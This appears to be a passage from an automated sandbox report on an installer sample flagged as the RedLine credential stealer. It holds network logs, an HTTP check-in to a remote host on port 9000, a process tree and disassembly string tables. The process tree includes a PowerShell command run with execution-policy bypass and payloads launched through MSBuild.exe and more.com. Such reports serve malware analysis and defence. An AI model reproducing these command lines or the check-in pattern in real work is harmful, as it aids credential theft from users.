Nov 28, 2024 10:06:32.846725941 CET	443	49975	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:32.846802950 CET	49975	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:32.846946955 CET	49975	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:32.846959114 CET	443	49975	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:32.877800941 CET	443	49969	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:32.877844095 CET	443	49969	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:32.877859116 CET	443	49969	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:32.877918005 CET	49969	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:32.878123999 CET	49969	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:32.878142118 CET	49969	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:32.878142118 CET	49969	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:32.878160000 CET	443	49969	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:32.878168106 CET	443	49969	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:32.880691051 CET	49976	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:32.880713940 CET	443	49976	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:32.880800962 CET	49976	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:32.881011009 CET	49976	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:32.881023884 CET	443	49976	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:32.952111959 CET	443	49972	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:32.952609062 CET	49972	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:32.952624083 CET	443	49972	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:32.953073978 CET	49972	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:32.953078985 CET	443	49972	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:33.348968983 CET	443	49973	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:33.349639893 CET	49973	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:33.349662066 CET	443	49973	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:33.350110054 CET	49973	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:33.350116014 CET	443	49973	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:33.406610012 CET	443	49972	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:33.409790039 CET	443	49972	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:33.409879923 CET	49972	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:33.409918070 CET	49972	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:33.409938097 CET	443	49972	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:33.409955025 CET	49972	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:33.409959078 CET	443	49972	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:33.412834883 CET	49977	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:33.412879944 CET	443	49977	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:33.412961960 CET	49977	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:33.413132906 CET	49977	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:33.413146973 CET	443	49977	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:33.813523054 CET	443	49973	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:33.813585043 CET	443	49973	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:33.813668013 CET	49973	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:33.813889027 CET	49973	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:33.813906908 CET	443	49973	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:33.813915968 CET	49973	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:33.813920975 CET	443	49973	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:33.818684101 CET	49978	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:33.818717957 CET	443	49978	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:33.818809986 CET	49978	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:33.818996906 CET	49978	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:33.819010973 CET	443	49978	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:33.966711044 CET	443	49974	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:33.967334032 CET	49974	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:33.967354059 CET	443	49974	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:33.968656063 CET	49974	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:33.968660116 CET	443	49974	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:34.411222935 CET	443	49974	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:34.414509058 CET	443	49974	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:34.414561987 CET	49974	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:34.414844036 CET	49974	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:34.414861917 CET	443	49974	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:34.414871931 CET	49974	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:34.414876938 CET	443	49974	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:34.418603897 CET	49979	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:34.418652058 CET	443	49979	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:34.418740988 CET	49979	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:34.419034958 CET	49979	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:34.419045925 CET	443	49979	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:34.592673063 CET	443	49975	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:34.597997904 CET	49975	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:34.598020077 CET	443	49975	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:34.602466106 CET	49975	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:34.602472067 CET	443	49975	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:34.726401091 CET	443	49976	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:34.773762941 CET	49976	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:34.774338007 CET	49976	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:34.774344921 CET	443	49976	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:34.774879932 CET	49976	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:34.774884939 CET	443	49976	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:35.029279947 CET	443	49975	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:35.032084942 CET	443	49975	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:35.032151937 CET	49975	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:35.032211065 CET	49975	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:35.032224894 CET	443	49975	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:35.032233953 CET	49975	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:35.032238960 CET	443	49975	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:35.034995079 CET	49980	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:35.035031080 CET	443	49980	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:35.035093069 CET	49980	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:35.035446882 CET	49980	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:35.035459042 CET	443	49980	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:35.181391001 CET	443	49976	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:35.184549093 CET	443	49976	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:35.184593916 CET	443	49976	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:35.184614897 CET	49976	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:35.184660912 CET	49976	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:35.184710979 CET	49976	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:35.184731007 CET	443	49976	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:35.184742928 CET	49976	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:35.184746981 CET	443	49976	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:35.292994976 CET	443	49977	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:35.293535948 CET	49977	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:35.293548107 CET	443	49977	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:35.293987989 CET	49977	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:35.294008017 CET	443	49977	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:35.610199928 CET	443	49978	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:35.610833883 CET	49978	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:35.610866070 CET	443	49978	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:35.611306906 CET	49978	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:35.611324072 CET	443	49978	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:35.747019053 CET	443	49977	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:35.750226021 CET	443	49977	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:35.750325918 CET	49977	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:35.750363111 CET	49977	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:35.750363111 CET	49977	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:35.750385046 CET	443	49977	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:35.750392914 CET	443	49977	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:36.057235956 CET	443	49978	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:36.057528019 CET	443	49978	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:36.057594061 CET	49978	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:36.057650089 CET	49978	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:36.057673931 CET	443	49978	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:36.057688951 CET	49978	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:36.057697058 CET	443	49978	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:36.215364933 CET	443	49979	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:36.215867996 CET	49979	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:36.215884924 CET	443	49979	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:36.216352940 CET	49979	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:36.216360092 CET	443	49979	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:36.660160065 CET	443	49979	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:36.663280010 CET	443	49979	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:36.663353920 CET	49979	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:36.663408041 CET	49979	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:36.663428068 CET	443	49979	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:36.663438082 CET	49979	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:36.663445950 CET	443	49979	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:36.767256975 CET	443	49980	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:36.767873049 CET	49980	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:36.767896891 CET	443	49980	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:36.768335104 CET	49980	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:36.768340111 CET	443	49980	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:37.202918053 CET	443	49980	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:37.202995062 CET	443	49980	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:37.203044891 CET	49980	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:37.203243017 CET	49980	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:37.203253984 CET	443	49980	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:37.203264952 CET	49980	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:37.203269958 CET	443	49980	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:52.024657011 CET	49887	15647	192.168.2.7	45.141.84.168
Nov 28, 2024 10:06:52.144967079 CET	15647	49887	45.141.84.168	192.168.2.7
Nov 28, 2024 10:06:52.453308105 CET	15647	49887	45.141.84.168	192.168.2.7
Nov 28, 2024 10:06:52.508079052 CET	49887	15647	192.168.2.7	45.141.84.168
Nov 28, 2024 10:07:12.696413994 CET	49887	15647	192.168.2.7	45.141.84.168
Nov 28, 2024 10:07:12.816386938 CET	15647	49887	45.141.84.168	192.168.2.7
Nov 28, 2024 10:07:13.124527931 CET	15647	49887	45.141.84.168	192.168.2.7
Nov 28, 2024 10:07:13.179950953 CET	49887	15647	192.168.2.7	45.141.84.168

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 28, 2024 10:04:25.055103064 CET	55363	53	192.168.2.7	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 28, 2024 10:04:25.055103064 CET	192.168.2.7	1.1.1.1	0xebee	Standard query (0)	time.windows.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 28, 2024 10:04:25.195559978 CET	1.1.1.1	192.168.2.7	0xebee	No error (0)	time.windows.com	twc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 10:04:25.950206041 CET	1.1.1.1	192.168.2.7	0x9d1c	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 10:04:25.950206041 CET	1.1.1.1	192.168.2.7	0x9d1c	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

45.141.84.168:9000

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49896	45.141.84.168	9000	3664	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 10:05:55.764923096 CET	111	OUT	GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1 Host: 45.141.84.168:9000 Connection: Keep-Alive
Nov 28, 2024 10:05:57.247246981 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Thu, 28 Nov 2024 09:05:56 GMT Connection: close

Target ID:	0
Start time:	04:04:30
Start date:	28/11/2024
Path:	C:\Users\user\Desktop\9VbeqQbgU4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\9VbeqQbgU4.exe"
Imagebase:	0xc10000
File size:	87'653'216 bytes
MD5 hash:	A91B4875630C4F702AB63F94ED633DA4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	04:04:31
Start date:	28/11/2024
Path:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp" /SL5="$103E6,81954756,1209856,C:\Users\user\Desktop\9VbeqQbgU4.exe"
Imagebase:	0xc10000
File size:	3'699'712 bytes
MD5 hash:	6AB2AF20157D2F440E8B22982F6247C5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	04:05:12
Start date:	28/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user~1\AppData\Local\Temp\is-6VQJV.tmp\ExtractedContent.ps1"
Imagebase:	0x140000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	04:05:13
Start date:	28/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	04:05:17
Start date:	28/11/2024
Path:	C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe"
Imagebase:	0xba0000
File size:	10'115'160 bytes
MD5 hash:	A439025E40533F6E78C74FE8E9CE9875
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 38%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	04:05:22
Start date:	28/11/2024
Path:	C:\Windows\SysWOW64\more.com
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\more.com
Imagebase:	0xda0000
File size:	24'576 bytes
MD5 hash:	03805AE7E8CBC07840108F5C80CF4973
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000002.2196810054.00000000062A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000A.00000002.2196810054.00000000062A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	04:05:22
Start date:	28/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	04:05:35
Start date:	28/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	04:05:48
Start date:	28/11/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Imagebase:	0x620000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	04:05:54
Start date:	28/11/2024
Path:	C:\Users\user\AppData\Roaming\sto\coml.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\sto\coml.exe"
Imagebase:	0x5a0000
File size:	10'115'160 bytes
MD5 hash:	A439025E40533F6E78C74FE8E9CE9875
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	04:05:57
Start date:	28/11/2024
Path:	C:\Windows\SysWOW64\more.com
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\more.com
Imagebase:	0xda0000
File size:	24'576 bytes
MD5 hash:	03805AE7E8CBC07840108F5C80CF4973
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000002.2441564536.0000000005B90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000F.00000002.2441564536.0000000005B90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	04:05:57
Start date:	28/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	04:06:13
Start date:	28/11/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Imagebase:	0x7e0000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000002.2441992162.0000000000C02000.00000002.00000001.01000000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000011.00000002.2441992162.0000000000C02000.00000002.00000001.01000000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Function 07A55E50 Relevance: 9.1, Strings: 7, Instructions: 398COMMON

Download Yara Rule

Strings

Hq, xrefs: 07A560A6
(q, xrefs: 07A55E80
Hq, xrefs: 07A560F3
Teq, xrefs: 07A5613C
TJq, xrefs: 07A561AF
Hq, xrefs: 07A55F2D
Hq, xrefs: 07A56084

Memory Dump Source

Source File: 00000004.00000002.1979748744.0000000007A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7a50000_powershell.jbxd

Similarity

API ID:
String ID: (q$Hq$Hq$Hq$Hq$TJq$Teq
API String ID: 0-3210156551
Opcode ID: b443631e213a1dbca10451f1f9ce70a2f79534f1d4afbd6f2fc0dcb020911139
Instruction ID: 388da44d50ed11d37cd83945a5d1732719d36bf6e2d8d940a440216821321bd8
Opcode Fuzzy Hash: b443631e213a1dbca10451f1f9ce70a2f79534f1d4afbd6f2fc0dcb020911139
Instruction Fuzzy Hash: C6E1AB75B006008FD718DF79D85466EBBF2AFC9610B18856DE806CF361DB30EC468B95

Function 07CF07F8 Relevance: 10.3, Strings: 8, Instructions: 319COMMON

Download Yara Rule

Strings

4'q, xrefs: 07CF08D2
$q, xrefs: 07CF08AF
$q, xrefs: 07CF0A55
$q, xrefs: 07CF0893
$q, xrefs: 07CF0AA4
$q, xrefs: 07CF08BB
$q, xrefs: 07CF0AB4
4'q, xrefs: 07CF08DE

Memory Dump Source

Source File: 00000004.00000002.1989652209.0000000007CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7cf0000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q$$q$$q$$q$$q$$q$$q
API String ID: 0-2370149875
Opcode ID: afc3fcf0b5844332b4c42252ad3dfe8018b85cd483da761f9b3001cabd16629e
Instruction ID: 897c41e583058b59ac92b1eb627eb1a52d3340060ab8b16caf2d28c5d44f7eed
Opcode Fuzzy Hash: afc3fcf0b5844332b4c42252ad3dfe8018b85cd483da761f9b3001cabd16629e
Instruction Fuzzy Hash: ABB129B1B00206DFDB648F65D4807AABBB2FF85611F18C06ADA49CB253DB31DE85C791

Function 07CF6758 Relevance: 4.1, Strings: 3, Instructions: 318COMMON

Download Yara Rule

Strings

$q, xrefs: 07CF6A26
$q, xrefs: 07CF69D4
$q, xrefs: 07CF6A1A

Memory Dump Source

Source File: 00000004.00000002.1989652209.0000000007CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7cf0000_powershell.jbxd

Similarity

API ID:
String ID: $q$$q$$q
API String ID: 0-3067366958
Opcode ID: 8fb9580034784b8a0d7a4f38e835c6f6f9756eb3a0e6ba61f59c41260a4b1fe6
Instruction ID: 46150c42e02d28b1c65e70f12ae0c8e41acdf790d587428fccd59ea32b7531f9
Opcode Fuzzy Hash: 8fb9580034784b8a0d7a4f38e835c6f6f9756eb3a0e6ba61f59c41260a4b1fe6
Instruction Fuzzy Hash: 91B11BB1B00306DFDB658F65C88176ABBF2FF85210F1484AADA05EB291DB31DE45C7A1

Function 07A5B520 Relevance: 3.2, Strings: 2, Instructions: 669COMMON

Download Yara Rule

Strings

LRq, xrefs: 07A5B5CD
(Xq, xrefs: 07A5B6AE

Memory Dump Source

Source File: 00000004.00000002.1979748744.0000000007A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7a50000_powershell.jbxd

Similarity

API ID:
String ID: (Xq$LRq
API String ID: 0-4183028182
Opcode ID: 4c0d8ddcf0ff2c63584107c63d25fa419ebb30dd44640d3b47333538d9fa7db3
Instruction ID: b41c783eb826f5f7fe2dec0d78cebf3d5892f8fe0b07267e9a7a8fcc7d86aa95
Opcode Fuzzy Hash: 4c0d8ddcf0ff2c63584107c63d25fa419ebb30dd44640d3b47333538d9fa7db3
Instruction Fuzzy Hash: 53526C74B00218CFDB28DB24D890BADB7B2BF89201F118199D8459F3A5DB74ED46CF92

Function 07A5A4A0 Relevance: 2.8, Strings: 2, Instructions: 346COMMON

Download Yara Rule

Strings

(q, xrefs: 07A5A9A3
(q, xrefs: 07A5A977

Memory Dump Source

Source File: 00000004.00000002.1979748744.0000000007A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7a50000_powershell.jbxd

Similarity

API ID:
String ID: (q$(q
API String ID: 0-2485164810
Opcode ID: 6010c840c051c386fa2f398e0d34c29b7456a4ffbfc7f84522eaa4353c0681f7
Instruction ID: 96268b31ebb8df3720eebeef4462a0b568053612d8dc4425740622f5fbed0d22
Opcode Fuzzy Hash: 6010c840c051c386fa2f398e0d34c29b7456a4ffbfc7f84522eaa4353c0681f7
Instruction Fuzzy Hash: 0CE11AB4A00219AFDB15CFA8D494A9DBFB2BF88310F148159E815AB351CB75ED82CB91

Function 07CF8C08 Relevance: 2.8, Strings: 2, Instructions: 328COMMON

Download Yara Rule

Strings

4'q, xrefs: 07CF8F50
4'q, xrefs: 07CF8F46

Memory Dump Source

Source File: 00000004.00000002.1989652209.0000000007CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7cf0000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q
API String ID: 0-1467158625
Opcode ID: 8ff2e2dd7ec4119f6419338235795acef42a26c57d77ef671fbdaa24bee4b9d2
Instruction ID: b3f44c412294654c04ea80440d727577a397ab85e6a54f0633cf7062f9d673e7
Opcode Fuzzy Hash: 8ff2e2dd7ec4119f6419338235795acef42a26c57d77ef671fbdaa24bee4b9d2
Instruction Fuzzy Hash: F6A16BB1B003068FDB658B68885177BBBE2AFD5210F14846ADE01CF291DB35DE41C7A1

Function 07CF4D10 Relevance: 2.8, Strings: 2, Instructions: 271COMMON

Download Yara Rule

Strings

4'q, xrefs: 07CF4E05
4'q, xrefs: 07CF4DF9

Memory Dump Source

Source File: 00000004.00000002.1989652209.0000000007CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7cf0000_powershell.jbxd
